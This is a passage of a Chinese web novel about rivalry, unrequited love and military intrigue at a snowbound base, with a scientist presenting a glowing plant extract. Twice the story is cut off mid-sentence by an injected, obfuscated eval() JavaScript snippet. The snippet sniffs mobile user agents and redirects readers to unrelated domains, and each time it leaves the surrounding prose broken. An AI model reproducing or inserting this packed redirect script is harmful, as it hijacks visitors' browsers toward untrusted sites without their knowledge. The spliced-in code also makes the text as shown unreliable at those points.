他抱怨的对象笑眯了眼,拿出对付长兄苏霆的三分之一撒娇之力。
“我这不是想顺便过来看看你嘛,还有大家都很好奇你的新研究啊,毕竟——这里就属你第二聪明了。”
听是‘第二聪明’,布雷格不满抿嘴,绷紧的面部肌肉更凸显他硬朗的下颌线条。
情形是一小时前的再现。
首席研究员两眼似探照灯掠过队伍,誓要找出抢走他第一位宝座,还名不副实的该死对手。
尽管气势稍逊苏霆几分,冷静有余,霸气不足,但布雷格超脱常人的特质又略胜一筹。
跟他交流好像是在面对会讲话的巨大石头,又或是有点像人的机器。
仿佛时光也在他眸中停滞,唯有如尘埃不断累积的真理学识,似星光先要消弭后被注视的文明历史,以及一点微不足道的生存欲望还让他与人世保持联系。
这样的布雷格·丹顿,若有一天谁说他成神
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14223741|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飞天了都会被大众接受。
然后,他当众被那只手拽了回来。
“你想什么呢,不是说好我是第一,你就帮我守住第二位嘛。不许让给别人哦,不然我就抓只蜘蛛塞盒子里,藏进你的实验室,让你一直找不到。”
轮椅里的苏洛上身抬起几分,硬是将臭着脸的布雷格拽向自己。
“怎么样,你怕不怕?”
听着孩子气的威胁,男人嘴角一撇,似在激烈斗争中连连妥协,最后无条件投降。
虽然举白旗投降,但出于较真的习惯,布雷格严谨地补充道。
“蜘蛛大部分有益,而且我又不讨厌。另外如果是你藏的,我肯定能找到,别小瞧第二,排名是随时能变动的。”
说完他直起腰,面无表情看向默文。
“进去要全身检查并消毒,另外不准碰我的东西。”
之前说话还夹枪带棒,现在是一视同仁地冷漠,俗称无所谓地放行。这巨大转变不止默文,就连最后排的中央兵也能看出端倪。
打从小少爷苏洛露面开始,一种‘针对’就横在他与他们,更准确地说是和伊诺克少校之间。
相反但同源,原因也昭然若揭。
针对的一头是对瘸腿青年不寻常的偏爱,另一端就是对所有即将‘抢走’他的人的忌惮与嫉恨。
这已远远超过一个兄长对弟弟,一名下属对上司亲眷,或是相熟亲友之间会有的情感。
拜此所赐,直到消毒快结束,伊诺克少校都没能跟小少爷搭上话。
哪怕他们就坐在一张圆桌前休息。
“小少爷,这是海勒姆托我带的苹果派,我帮您切吧?专门考虑到今天有客人,他准备的分量很足。”
“对了小少爷,今天我换了种茶叶,您尝尝看,还要加什么吗?伊诺克阁下您也是,我强烈推荐您再添一味糖,会更有风味。”
“小少爷……”
这仿佛是一场大型接力赛,基地里的每个人都在见缝插针地挤到苏洛与他魂牵梦萦的爱慕对象中间,目的明确地搅局。
现在,终于轮到季宇飞的主场了。
不同于苏霆特有的冷脸处理,也不像布雷格的直白驱赶、士兵们的人海隔绝战术,季宇飞的手段要友善得多多了。
当然,离间技巧也异常之高超。
他一边笑脸相迎,既招待到贵客的方方面面,又驾轻就熟地侍奉苏洛,一边却总能横插几脚,用赖不掉的话题转移双方注意。
就连座位安排都彰显着他的刁钻用心,让谢云哲苏霆占了小少爷左右,把默文拉来放正对面,豪华的主位还是伊诺克少校的。
这叫人点出来也不是,想反驳也不行。
有季宇飞在,苏霆可算是能歇一会儿不用制造生人勿进的冷气了。
但偶尔与对面的少校对上眼,他敌意满满的瞪眼如同子弹,存量怎么也用不完。
评估预期一改再改,观察内容再三扩充,伊诺克摩挲着茶杯曲型的腰腹,神情未变。
季参谋正向他们生动地介绍茶点,也不知是第几次岔开小少爷想找他搭话的动作,中断默文暗中的牵线搭桥。
而他的心理愈发平稳。
因为,结论还是不变。
只要他还在斯卡蒂一天,只要‘苏洛’还怀揣着人人皆知的爱慕,他的胜率就是百分百。
有这份底气在,他敢于趁季参谋给苏洛添茶时转头,故意前倾几分,对那位端庄秀丽却衣着寒酸的青年开口。
“请问您该如何称呼?啊,请原谅我的唐突,刚才我注意您很久了,因为您看着不像执事或军队里出来的,而且……还有点像我一位关系很好的旧识,我们以前见过吗?”
霎时间,全桌人都被按下暂停键。
谢云哲茶杯端到一半,卡在要喝的前几秒。
他和红发男人的位置就在两隔壁,被搭话的情况他早有预料。
原以为可以用低头垂眸的作态回避得久点,没想到,他还是低估了这男人的险恶。
只是想问他名字,那何必要专门提到一个‘旧识’?
只是想拉近距离,那干吗还要问一嘴‘是否见过’?
大概率都知道他身份了,也看出小少爷的感情了,偏偏挑这种时候搭讪他,而不是大胆一回去和苏洛找话题,简直无耻至极。
……
短短几秒结束一场激烈的头脑风暴,谢云哲抬头先看了眼左边。
果然,被季宇飞挡住半边视野的小少爷轻咬下唇,甚至敢于直视心上人了。
他眼角的红却不再是因为亢奋或害羞,而是混合了惊愕、紧张还有一种希望落空的破碎感。
被身边的所有人偏爱,唯独没得到自己最想要的那份爱,这种落差别说骄横的小少爷,任何一个心理正常的人都会感到几分失落。
头疼的谢云哲收回视线,正要开口就被搭住右臂。
“您还好么?您的脸色好像有点苍白,不过请放心,您看着照样光鲜可人。”
谢云哲瞬间在桌下攥紧了拳头。
擅自扶住他的红发alpha其实动作很虚,指尖根本没碰到,换在其余场合还能说是体贴礼貌。
但此刻,这只能让平时冷静克制,现在暗自咬牙的他想做一件事。
起身请开其余人,抱歉地挪走茶点,顺便收好精美的桌布。
最后,直接掀起整张桌子,替腿脚不便的苏洛扣爆那不知好歹的红毛脑袋!
22.元首的蓝宝石22
若这一餐桌真扣下去,那谢云哲今天绝对走不出这扇门。
极限的思考时间里,他不得不撇除最想实现的一项,调动毕生所学组织语言。
“多谢大人您关心,在下很好,只是刚从穷乡僻壤见不着人的地方出来,没见过世面因此有点紧张,让您见笑了。”
一口气说完,他挂起自己最少用的公式化笑脸,故意眯着眼杜绝对视。
为防止再被碰到,他选择侧身向季宇飞举杯。
“麻烦季先生了。”
看着满过半的茶杯,季宇飞点头一笑,伸手接下茶杯解围道。
“哎呀,瞧我这记性,差点忘了阁下比较怕冷,我帮您再加热一下。还有什么需要吗?”
“不用了,谢谢。”
说话时,谢云哲一直拿余光撇着身边,心里的烦乱只增不减。
因为他感觉得到,伊诺克·普莱德依然盯着他看。
“噢?这么说,你也是跟我一样第一次来喽?您是自由学者还是到处流浪的艺术家?”
果然,这家伙穷追不舍地对他提问,口吻像在与故交聊天,随性且充满关怀。
曾与最难缠刁滑的赏金猎人打交道,也曾说服过倔犟如同磐石的流民,此刻的谢云哲定力充沛,耐心却寥寥无几。
大概是因为他熟悉苏洛多于一位看起来空有头衔的某少校,也更接近这数日生活的风雪斯卡蒂,而非缭绕在首都贵客身上的铜臭气。
真是有够烦的!
内心痛骂一声,谢云哲及时回道。
“目前我只是苏落少爷的贴身侍者,所以才有幸能与各位尊敬的大人同坐,实在不胜惶恐。”
话音刚落,他连忙暗道不好,想要补救却已来不及。
红发男人佯装惊讶,充满生趣的眸子顺势移位,聚焦于他身边。
“原来如此。能够日夜与苏洛少爷呆在一起,确实是种享受和荣幸,虽然现在打招呼有点迟了,不过——很高兴见到您。”
看着越过自己面前的手,还是故意摘掉厚实手套,带着闪耀尾戒的手,谢云哲愤恨咬牙。
功亏一篑!
有人败兴就有人欢呼雀跃,憋了整整两小时,小少爷如嗷嗷待哺的雏鸟挺身。
他红着脸握住那手,眼睛却不知该往哪看,上下左右飞快换位。
最后他决定遵从本心,紧盯着红发男人的笑脸,怯生生地又带着难以忽视的渴慕。
“我我、我也很高兴!不是、我的意思是,如果每天都能见到伊诺克阁下您,我也很享受、咳,我也会感到很荣幸——”
他说话磕巴,满心满眼都只有一个人,晃着手迟迟不愿松开,根本注意不到谢云哲眸中的灰败色彩,苏霆眉心的夸张褶皱。
谢天谢地,最稳的卫道士回来了。
“咚!”
深棕茶杯连茶盘一并落在桌面,声音虽响却滴水未溅。
“谢先生,您的茶好了。”
季宇飞像个幽灵回到桌边,俯身朝谢云哲颔首示意。
座位间的空隙虽宽,架不住他半个身子刻意地横进来,隔开那两只紧紧相握的手。
也幸好,苏洛正沉浸于和倾心之人的首接触,他脸颊烧红成番茄色,拼命用手捋着耳旁,整理他不存在的乱发,顾不得好事被打断。
但就算真想撒泼耍赖,他也不会愿意当着少校面来的。
“我看大家的进门准备也快结束了,苏元帅,伊诺克阁下,不如我们先走一步。里面还有一处检查点。”
参谋长的插话恰如其分,叫起桌旁五人。
可这改变不了‘第一步’走出,对局已然开篇的事实。
有了握手问候的铺垫,苏洛少爷不再满足龟缩于羞怯划出的安全线内。
他直接向季宇飞放话。
“里面我最熟,我来向伊诺克大人他们介绍吧。”
季宇飞流于表面地笑两声,侧头和苏霆交换了一个无奈的眼神。
对方轻声叹气,看不出是首肯还是否决,于是季宇飞便按照自己,同时也是他们基地全员的意思提议道。
“解说可是个辛苦工作,若是把您累坏了,少了之后的时间不就得不偿失?不如您为我查漏补缺吧。”
大抵是把‘之后的时间’自动扩展成‘和伊诺克少校共处的时间’,苏洛不做他想,用力点头应下了。
而说话间,所谓的另一个检查站点出现在宽敞通道内。
没有扫描机器,没有全副武装的士兵。
只有一名女孩。
她个头不高,体型匀称偏单薄,浅棕长发编成精巧发辫,绳子般固定她戴在头部的奇怪装置。
半圆形的多层环体,像是从头盔上截取的一块零件,大小正好地箍在女孩后脑。
这么一看,怪东西倒是有点像助听器。
而再走近些,人们的目光会首先被女孩宛如玻璃珠的眼眸吸引。
绝对的剔透干净,不抗拒任何光线,一种生冷的空洞填充着她但并不违和。
察觉有人靠近,她先是转过脖子才移动眼珠,举止悠缓神似深海鱼。
为了能在高压低温,暗无天日的海底生存,她自动放弃明媚阳光耗费千万年才塑造出的喜人特点。
没有柔软的绒毛,没有恒定的体温,甚至比不上浅水区的同类,缺少靓丽多色的鳞片和流线型的优美身躯。
但是,她身上的每一处皆是为生存而演化出来的。
这或许就不难解释她出挑的挺拔身姿,比此前露面的所有士兵都更具气魄。
此刻她迈开腿,离开岗位小半步。
“阿莉西亚·盖恩,这位是我们的特招人员。”季宇飞适时介绍,含笑迎接默文审视的目光,“虽然规定上写明了年龄限制,但阿莉西亚因为某些缘故失去所有亲属,无依无靠,身体方面与常人不同,在外面生活有诸多不便处。”
稍顿几秒,季宇飞摘帽向女孩行礼,似乎这样就能区分对方与普通士兵。
礼毕他向众人眨眨眼,故作神秘道。
“正好她有意愿进基地,而我们未来也十分需要她。”
所以就把这个残废也收编?
看出女孩眼瞎,默文上将几乎要忍不住当场问出来了。
由于长久的地域割裂和偏见,他自己倒是不在意苏霆等人违反军规,更不在意这女孩小小年纪就要为北军卖命,身处险境。
只是同样作为一支军队的指挥官,他着实不理解‘来者不拒’的愚蠢做法。
这大概就像精英商人看不懂无名小辈亏本贱卖真货,还要赠送免费售后的心理。
‘亏本’兜售的从来都是刺激购物欲的噱头,要么是商贩急于摆脱手头挤压已久的东西,现实向来如此。
几人站在女孩跟前交谈许久,她都不为所动,直到……
“阿莉西亚。”
简单的一声呼唤,音量轻如雪花飘落,却让女孩有了更多动作。
她穿过面前的所有‘障碍物’,径自来到轮椅旁,将额头贴上前,紧挨着扶把与那名青年的手。
黑色连体衣包裹她全身,无花纹,无装饰,更无任何为了提前塑造线条的设计。
所以她贴面亲近的姿态也不像任人肆意摆弄,只需具备赏玩功能的人偶。
她像一把能随时起舞的弯刀,而她自己也正找着称手的兵器,方便她清扫旁人的恶意与揣测。
苏洛轻拍她肩膀,高兴地笑道。
“我来找你们玩啦,继续上次的人抓鬼游戏吧!”
也不知女孩是否有听见,她眨了一下眼,接着就欠身退回原位。
在布雷格的强制要求下,如今陪同伊诺克的护卫缩减到五十四人,他们一样通过检查和气体消毒,排成两列跟在后方,像条长长的蜈蚣尾巴。
即便对此颇有微词,可答应苏洛的布雷格也不好再发作了。
没眼力见的他依然发挥此项‘特长’,在默文的怒视中插进队伍,越走越前。
由他打开最后一扇门,敞亮的研究室映入眼帘。
空间干净整洁,工作台呈回字形分布,各类仪器则按编号环绕四周摆开,有几处则专门隔出单间。
非常普通。
倒不如说,简单过头了,根本不像常年有人伏案研究的地方,也找不到大型的实验区。
不等默文等人轮番套话,布雷格就打开角落的橱柜。
他取出一小瓶溶液,质地透亮,色泽偏绿,在密闭的玻璃器皿中莹莹泛光。
“两个月前我从哈曼特镇外的森林里找到一种植物,这是它的提取液,来自叶片部分。”
“这提取液对分裂中的细胞有特殊的标记作用,除了不会破坏细胞本身的结构、不会泄漏污染其余细胞,标记时长远比荧光染料长。”
讲解缺乏抑扬顿挫,也全无令人振奋的节点,但冷场的布雷格毫不在意。
他绕到工作台后面朝人群,继续他干巴巴地概述。
“另外,它还具备一种特殊的镇定功能。那跟作用在神经系统上的不同,它的起效时间更快,几秒钟放倒大于人类五十倍的生物不在话下……”
东西是罕见,但在实战中的应用却微乎其微,另外它还不能用作医疗,充其量是利于生物研究。
然而在发展优于各区的首都,科研部早就还原出过去的技术了,更便利也更精确。
五分钟通篇听完,那批首都访客们满头雾水。
如此莫名其妙的液体,到底要用在哪?
“这种原材料擅长混在另几种相似的同科植物中,如果不是具备一定识别经验的老手,很容易找错或摘错部位。以上,我的汇报结束了。”
道出一个掷地有声的收尾,布雷格关闭自己的出声系统,像仪器直挺挺站在桌后。
场面安静了十几秒,伊诺克率先鼓掌,象征性地赞叹。
“果然是很具备您个人风格的项目,玄奥又不失趣味,不知这种物质该叫什么?”
当下布雷格勉强覰了他一眼,无感情地接道。
“编号β-27-185。”
回答虽生硬,却也等于告知众人这还是种待命名的新物质。
“为什么不叫绿星呢,看起来闪亮亮的,很像啊。”
突兀的声音接续对话,是苏洛趴到桌沿,食指戳中瓶身,大胆且幼稚地发言。
“对吧?”
他脑袋搁着不动,两眼向上,迎着布雷格沉思时的专注目光。
细口瓶被他食指顶得晃了晃,发出一阵轻微弹响。
声微却直击深处,布雷格以最缓慢的速度眨眼,并于全体成员面前演绎了一出传说。
他这块会思考的巨石收到来源不明的共振,外壳松散,内质软化,显化出天然雕琢的纹路——两侧嘴角上扬,眼中渐渐萌生笑意。
他的欢愉无价,更比宝石纯净,犹如在黑暗中孤独潜行万年,终于遇到一个相向而行的旅客。
哪怕知道彼此终会擦肩而过,他也会甘愿拿出身上所有东西多留对方分秒。
“那就叫绿星。”
语毕布雷格又将瓶子向前一推,毫不犹豫道。
“作为起名的谢礼,这就送给你了。”
对人情世故零概念,日常把同僚当木头,把上司当冰雕,布雷格此举无异于一场大地震,让毫无心理准备的季宇飞也震惊得失语。
小少爷却是理所当然,欢喜地拿起瓶子,连续问了能不能吃、可不可以涂脸等小儿科的提问。
等收到礼物的激情退却,他猛地想到什么,眼巴巴地瞅了眼少校,又问布雷格。
“你还有另一份嘛,可以送给、咳、作为礼物赠予远道而来的贵客。”
听着他蹩脚的索
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233247|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要配对,布雷格又回归巨石人形态。
“现在我手上只存有这一瓶,这是我的习惯。抱歉。”
那致歉简短且不看着人说,被晾在旁边的伊诺克权当这是灰发男人的爱屋及乌,是为小少爷才施舍给他的客气。
而今天他与目标的接触,也止步于此。
搞了那么大阵仗,耗费近半小时安检,今日的巡视行程如预料中推迟。
接下来的正式会议无关人员禁止在场,因此被强行送回家的小少爷闹了好一阵脾气。
他在车后座上又滚又踹座椅,折腾好久最终枕在谢云哲腿上睡着,叫对方坐立难安。
从没当过人|肉|枕头觉得紧张是一回事,自己收到‘寸步不离’的新要求才是心中惶惑的根源。
陪同西奥多将苏洛送到卧房,又返回住处收拾东西,谢云哲仍旧平静不下来。
得知他今后要跟小少爷同吃同住,真的变成‘贴身’侍从,谢玉海一点就炸了。
“云哲哥,他绝对不怀好意!他肯定是记恨你先被那个伊诺克搭话,怕人家先喜欢上你,然后故意拉你去衬托他!想让你出糗败坏对方好感,给他当垫脚石。”
“呸!伊诺克·普莱德也不是好东西,哼,让他配苏洛正好,什么锅配什么盖,两个都是歹毒邪——”
“小海。”
整理着自己少得可怜的行李,谢云哲和往常一样,轻声一句终止少年的愤慨发言。
“苏洛他要我跟他一起行动,不是为了踩压我。”
在返程的车上,那含泪痛骂的青年就已经指着他鼻子告知理由。
现在回想起来,谢云哲还是忍不住失笑道。
“他说,必须要把我放在他看得到的地方,这样我跟他就是公平竞争,谁都不许搞小动作。”
闻言谢玉海张口结舌。
想说这公平吧,可看条件谢云哲和苏洛本来就不在一个起跑线上,双方差距极大。
想指责阴险吧,可那跋扈的混蛋又没一劳永逸地把假想敌封杀,反而还‘引狼入室’。
颇有种想踹人却踹在浑圆屁股蛋上的幽默感,叫人啼笑皆非。
“总之、总之他就是坏!”
以不变的此句作为结尾,谢玉海又对谢云哲展开一系列地交代,千叮咛万嘱咐要人小心。
不同往昔,这次他有捎上了二号混蛋伊诺克·普莱德。
一个黑|市里的常客,众所周知的假情种真|淫|棍,罪该万死的‘老贵族’。
帝国消解以前,曾盛行过一种叫仿信息素香水的东西。
那时蓝月能源还未普及,信息素与腺体在人类中还处于绝对的支配地位。
所以,当时连香水都被扣上了仿信息素的噱头,吸引有着各种需求的人们购买定制,为其疯狂。
可后来,一位神秘制香师的出现改写了局面。
凡是他调配的香水,都具备超越信息素的效力。
效力指的不是让人产生性|欲,陷入无止尽的发|情期,而是动心。
无法可视化,无法被度量的爱,因为几种香料的水油混合物竟然能够由人掌控。
坊间更有传说,声称他的香水是真正的灵魂魔药,会让两个根本不可能相爱的人产生情愫,至死不渝。
当然,‘大倒退’之后配方流失,货物遭毁,传说的真假也无从得知。
而如今市面上依然在流通的,一种是普通的香水,另一种就是含有催化物的违|禁药。
更直白的说,那就是催|情药。
堂堂大元帅之子,竟然是大量采购并转卖这些药品的头部顾客,如果此事暴露,可就不是光不光彩的问题了。
听谢玉海翻来覆去讲着自己早知道的事,谢云哲合上提箱,转而坐在椅中。
漆黑匕首被他重新放回靴中,坚硬冰冷,抵着小腿紧绷的肌肉。
此刻脱离了侍者身份,青年双手抵在唇前,道出他作为一名高瞻远瞩的领袖推演的结论。
“他很快会找机会用在‘苏洛少爷’身上。绝对的。”
右手懒散搭脸,左手摇晃小瓶,本该因为伤心过度哭到昏睡的苏罗神情悠然,说出让部下无力反驳的结论。
“所以……这就是您今天突击检查的用意吗?”季宇飞笑得疲惫,说明白天的用功不是作假。
原本待定的‘苏洛与伊诺克’相见时间一下确定,直接把他和苏霆等人打了个措手不及。
“我要的就是这个效果,这次你们演得不错,大有长进。我亲爱的未婚夫是越有难度的人,他就越喜欢去攻陷,但没有看不到的胜算和利益的话……谁都不喜欢白费力气吧?”
苏罗边说边把玩着β-27-185提取液,现在该叫绿星溶液了,露出一个奸计得逞的笑。
他正面对双色棋盘独自对弈,操控白方陷于弱势,被红方步步逼退。
溶液瓶被他上抛,于空中华丽地转了几圈,疾速下坠。
但在下落跌破之前,他看也不看就扬手抓住,速度快到季宇飞只捕捉到一缕残影。
没多久,季宇飞便恢复原状,熟练地搬用发小之名回应。
“自然是因为在苏霆元帅的带领下,今天大家全都表里如一,一致对外。”
至于为了谁一致对外,扬起半边嘴角的苏罗怎么会不知道。
他飞快走棋,九步之内逆风翻盘。
退无可退的白方在自己的中腹线上斩杀红方头目,围控敌方兵卒,大获全胜。
赢了这局,他将绿星小瓶当作旗帜插在中间,顺势瞄向旁边——从始至终还没放入棋盘,参加战局的‘第三方’,一列静静伫立的黑色棋子。
“来玩吧。”
他盯着黑棋,既是对季宇飞发话,也是向另一名不在场的玩家提出邀请。
“只有一个笨蛋被戏弄,那能叫什么娱乐?”
23.元首的蓝宝石23
“大哥是笨蛋!是坏蛋!是和臭袜子呕吐物一起放了半年的臭鸡蛋!”
“我以后再也不想见他了!”
“讨厌讨厌讨厌——”
……
清晨,一天的美好开端。
太阳于东面升起,暖光从细雪间洒落,而红屋的小主人则在睁眼十分钟后开始彰显他小兽般的破坏力。
碍于腿脚毛病,他无法上蹿下跳,于是便拿手边能触及的东西泄愤。
枕头,毯子,毛绒玩偶,昨天睡前偷吃的酥点,被压皱的书籍。
各种东西满天飞,似炮弹碎片洒遍全屋。
背景音是他的尖声喊叫,偶尔穿插他微弱的泣音,还有体力耗尽后的喘息。
卧室的另一端,昨晚刚搬进来住的谢云哲也不好受。
从被喊声惊醒那刻起,他就不得不在低头弯腰和快步飞跳中间切换,拼命去接小少爷投掷的所有物件。
身手矫健如他,却也招架不住情绪失控下的乱扔,期间多次失手。
最后屋内满地狼藉,他也大汗淋漓。
腋下夹水壶,双手抓模型,嘴里还叼着一支看着就昂贵的晶雕玫瑰,维持着艰难的负重姿势,谢云哲踉跄几步靠墙,再也没有余力行动。
幸好,折腾他的罪魁祸首也撑不住了。
一大早就激动到崩溃,瘸腿青年扭身扑进床里,幅度微小地抽噎着。
床榻三米见方,垂挂着镶边的雅致帘幕,而那些粉白色的寝具把上面的青年衬得像只礼盒里的迷你小人,伤心起来也更惹人怜爱了。
如果不看他十分钟前的‘疯狂投球手’行为的话。
这还是谢云哲第一次知道,居然有人能在三秒内同时扔出五件东西,朝向还不重合。
“呼——”
身体素质优于小少爷,他长舒口气率先平复,等安置好手上的贵重物品,他也彻底理清头绪。
无非是小少爷一睁眼就迫不及待通过苏霆询问伊诺克·普莱德的动向。
然后,再像昨天那样借故接近,伺机而动。
能让仰赖兄长的青年说出‘再也不要见面’的重话,想必苏霆的答复并不能让人满意。
何止是不满意。
“呜……他们、他们预计傍晚就回去了!现在正在全地巡游,已经乘车到佩佩郡了,最后会绕一圈在费兰镇启程……”
小少爷脸埋进被褥呜咽,光听声音就能感受到无尽的失落。
谢云哲默默伫立角落,心里除了‘果真如此’就是有点惊讶。
他还记得,他跟小海刚来时季宇飞是乘坐一辆奇特的飞行器来迎接的。
不惧强风,航速极快,在风雪作乱的山脉自带隐蔽功能。
那样新颖的设备,没理由不拿出来给尊贵的上位者享受……
思至此,谢云哲又反应过来另一件事。
往常每日必有的航空演练,好像在首都巡礼队抵达开始就终止了。
来不及细想,一阵激烈且伴有哮鸣音的喘声就先绞紧他的听觉神经。
是小少爷发出来的。
谢云哲三步并两步冲到床边,扶起面朝下的青年。
看到对方双唇紫青,脸色惨白,两手紧紧压着胸口似在承受巨大痛苦,他无措之余更惊慌了,连忙给人抚背顺气。
“您、您还好吧!需要吃药吗?还是我去叫家里的医生来?”
以前他只是做些简单的服侍工作,时常被打发走,压根不知道苏洛竟体弱到哭闹一场就差点窒息。
焦急似火烧,谢云哲才退下的汗又汩汩冒出。
然而这次是冷的,是惊吓的虚汗。
幸好,那可怕喘息声慢慢消失,倚着他的青年也逐渐恢复血色,就是印着牙痕的下唇依然发白,止不住地颤抖。
第二次充当人形靠枕,谢云哲要比昨晚自在。
他半跪在床沿,以右腿为支点撑起全身,胸膛大大方方敞开,留给一颗乱糟糟的脑袋。
与他的偏硬、小海的毛刺发质不同,蹭到他颈间的发丝滑而柔软,触感虽不及绸缎,却有着一种独特的,也是任何精贵布料比不上的魔力。
原来是这样的啊。
努力保持静止的谢云哲不禁暗叹。
难怪连苏霆那种看着最持重的人也乐于跟苏洛玩小孩子一套的‘亲亲抱抱举高高’。
这感觉,就像搂了只两个月大的猫崽,暖烘烘的皮毛包裹着小巧灵活的身躯,是完美的治愈系火炉。
自己心口暴露的同时,也侧耳倾听着另一道律动,两者叠加带来的安然无法用语言表述。
所以,哪怕过后莫名其妙挨了记肉垫拳头,人也能欣然接受。
缓过气的苏洛揉揉眼,果然使出‘肉垫拳’。
他用力推开谢云哲,眉梢吊起,厉声喝斥。
“臭死了!你早上不刷牙的吗!给我去漱口一百遍再进来!”
全程闭嘴,试着呵气也闻不到异味,谢云哲立刻反应过来这是对方为掩饰窘迫的迁怒。
下一刻,苏洛爬进被子包裹全身,硬要背对他的身影更加佐证了他的猜想。
谢云哲无声笑了笑,配合地低头。
“抱歉小少爷,那我去去就回。”
他下地披起外套,刚搭住门把又听到一道命令。
“今天我不出门了,你去楼下厨房,叫他们把早餐送我房间。叫他们甜的用两倍糖,清淡的加重口辣,反正、反正大哥平时怎么不让放的他们就怎么来,超级加倍!”
虽然很想说句这是伤敌为零自损一千,但谢云哲清楚这无异于火上浇油。
绝对会让仍在怄气的‘火炉’爆炸的。
于是他坦然应下,装作一无所知地离开。
真是不可思议啊。
脚踩云垫般的绒地毯,穿行装潢奢华的廊道,他心里的那份不真实感又耸动起来。
被带进基地,更进一步接触苏洛,他的两项目标竟不费吹灰之力达成,收获远超预期。
无关小少爷痴心的爱,他察觉北军有在刻意向首都隐瞒着什么,并同时暗暗挑衅,无畏惩戒。
无畏之下通常存在着两种分支。
一侧是无知到理直气壮,愚蠢地走向末路,另一侧是掌控全局的闲适,如猫逗老鼠的随性。
可战力上斯卡蒂远不及首都,要比各项资源技术,这里位于全十三区末尾,是万年垫底的后进生。
哪怕现状有所好转,过去堆积的巨大差距仍如一条峡谷横在斯卡蒂前方。
更别提索拉兵团还在西面虎视眈眈,霸着近一半的山区为所欲为。
凭心而论,他作为一只‘跳虫’,目前仍更偏向于富庶的首都。
那里虽鱼龙混杂,却没有绝对的天敌,尤其是视‘人吃人’为天理的匪徒。
上次他们胆敢跨进边线,掳走偷偷独自上街的苏洛,下一次就会把手伸进保卫居民和蓝月矿场的军营……
楼梯口处,谢云哲顿住脚步。
历时几毫秒,他迅速破除某处谜瘴,疯了一般往回跑。
门被他粗鲁撞开,迎面而来的冷风吹得他头皮生凉,心中一凛。
幸运的是,预谋偷跑的苏洛还在。
可不幸的是,青年手握床单绑成的绳索,人已半边跨过窗台。
见他突然闯进来,对方飞快嘟囔一句,大概是在骂自己竟忘记锁门,随即翻出窗外。
谁料出师不利,小少爷刚要向下爬,堆叠在床脚的布料竟被带着滑动,一下抽空。
谢云哲不由得怀疑这倒霉孩子根本没固定,就是缠了两圈。
“小心!”他高声一喊。
抢救拼的是速度力气与判断力,只讲究快狠准。
多亏跳虫生涯的磨练,谢云哲闪身扑去。
他左手缠绕床单固定,下端踩在脚底,右手则拽住苏洛衣领。
腰腹爆发的核心力助他吸气一拽,成功将人拉进屋内,拉离坠楼的惨剧。
他们双双扑倒在地,呼吸错乱而急促。
这次谢云哲等不了平静,转身重重关窗落锁。
若不是他离人还有一点距离,他非要继续去抓苏洛衣领,像那被惹急的老猫狠咬顽劣崽子的后脖皮。
“你这是做什么!有门不走去爬窗?难道就为了——”
话说一半,他迟来的理智吞没他的声音。
就凭他这个陌生的,寄人篱下的‘苏家人’,哪有对众星捧月的小少爷职责的资格?
可估计是鬼门关前又走一回吓住了,苏洛低头不吭声,更没追究他的僭越。
“我,我只是要去送他们……”
自知理亏,他狡辩的声音都虚了八度,整个人萎蔫地跪坐着。
谢云哲食指用力戳眉心,有一股气郁结胸口,堵得慌。
万般纠结之下,他克制着情绪发问。
“请问苏洛少爷,你就这样一个人溜下去,你要怎么上街?你会驾车吗?你知道走哪过不会被巡逻的士兵发现吗?你知道该去哪里送吗?你连鞋都没穿。”
这些问题并不刁钻,语气也中规中矩,但足够让一时冲动的苏洛头越埋越低。
最终,彻底放弃。
之前乱扔的等身抱枕正好在地上,他抱住两手捆紧,赌气地躺倒。
自此,他来到耍横的下一个,也是最后一个阶段——暗自神伤,欲哭无泪。
“反正我就是没人要呗,你们都不喜欢我,我也是个废人,以后就烂在家里当鼻涕虫吧。”他又嘟嘟囔囔道。
得了,这下是彻底自暴自弃。
见惯他的气焰嚣张,谢云哲反而对这烂泥状态没辙,也沉默着坐倒在一旁。
既然无法改变局面,也没有为人解忧的办法,谢云哲提出一个折中建议——从简出行,到费兰镇上逛逛。
没直说要去找伊诺克·普莱德,也在一定程度满足苏洛要离心上人近一点的渴望。
起初,这提议被海勒姆严词否决,但在他的游说和小少爷的强烈要求——如法炮制的‘大投掷’胁迫下,那位犀利管家终究点头了。
看似简约的散心队即刻出发。
在明处的随从只有两个,侍者谢云哲,司机西奥多,他们都是缺乏军队特征的常人,有助低调行事。
可即便如此,小少爷还是太招摇了。
一眼望去,街边就他坐着轮椅,说话颐指气使,更对投来好奇目光的人们报以臭脸。
刚进入公园,他就没好气地瞪住一伙扫雪工人。
“看什么看!我这是累的!他俩是我的轿夫!”
他没好气的训斥,那群人倒不觉得有什么,反而乐呵呵地接话。
“小先生,您好歹还是下来走吧,在这冻土地闲逛,两条腿比四条腿、哦不,八条腿平稳些。”
因为还对谢云哲置气而非要自己行动,苏洛不屑一顾,扭头就走。
谁曾想,不听老人言的报应来得这么快。
在一段看不出有结冰的泥路上,他轮椅的左轮突然歪斜,载着他直挺挺撞向灯柱。
虽说速度不快,距离不远,最后也只碰到踏板,但一声响亮的‘咚’和工人们无恶意的笑声果然让他恼了。
恼羞成怒的青年索性一蹬腿,在雪地上留下一串左深右浅的脚印。
目送他气鼓鼓地走进街边商店,又用眼神警告‘不许靠近’,谢云哲叹着气笑。
这期间,西奥多先于他行动,扶正轮椅来到店铺门外等候。
